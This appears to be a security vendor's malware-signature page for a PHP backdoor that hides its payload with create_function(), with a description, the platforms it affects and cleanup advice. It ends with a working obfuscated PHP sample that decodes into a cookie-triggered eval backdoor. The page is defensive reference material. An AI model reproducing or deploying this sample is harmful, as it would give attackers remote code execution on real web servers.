Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.backdoor.create_function.002.02

php.backdoor.create_function.002.02

Backdoors are server-side malicious scripts which are intended to perpetrate malicious acccess to the server. The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside. Server level analysis is necessary in case of infection by this type of malware.The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside. Server level analysis is necessary in case of infection by this type of malware.

Create_function() is often used by malware instead of the eval() function to hide evaluating of the malicious code. The payload is encapsulated inside the crafted custom function (often) with obfuscated name to make the less clear. This function is then called somewhere within the code thus the payload is evaluated.

Affecting

Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).

Cleanup

Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.

Dump

Part of the obfuscated code. The final function name is $afgi() and it's called in the end of the example.

$xamu="JGM9J2NvdW50JinzskYT0kX0inNPT0tJRTtpZihyZXNldCgkYinSk9PSdhbCcgJiYgJGMoJGEpinPjMp";
$sjvk="ineyRrPSdvdSc7ZWNinobyAinnPCcuJGsuJz4nO2V2YWwoYminFzZTY0X2RinlY29kZShwcmVnX3JlcGx";
$oxgz="hY2UinoYXJyYXkoJiny9bXlx3PinVxinzXS8nLCcvXHMinvJyksIinGFinycmF5KinCcnLCcrJyk";
$wlsb = str_replace("pa","","paspatparpa_pareplpaapacpae");
$zbsd="sIGpvaW4oYXinJyYXlfc2xpY2UoJGEsJGMoJGEpLTinMpKSkpKinTtlY2hvICc8LycuJGsuJz4nO30=";
$jjcp = $wlsb("q", "", "bqaqseq64q_dqeqcqodqe");
$frjl = $wlsb("z","","zczrzeatzez_fzuznzcztzizozn");
$afgi = $frjl('', $jjcp($wlsb("in", "", $xamu.$sjvk.$oxgz.$zbsd))); $afgi();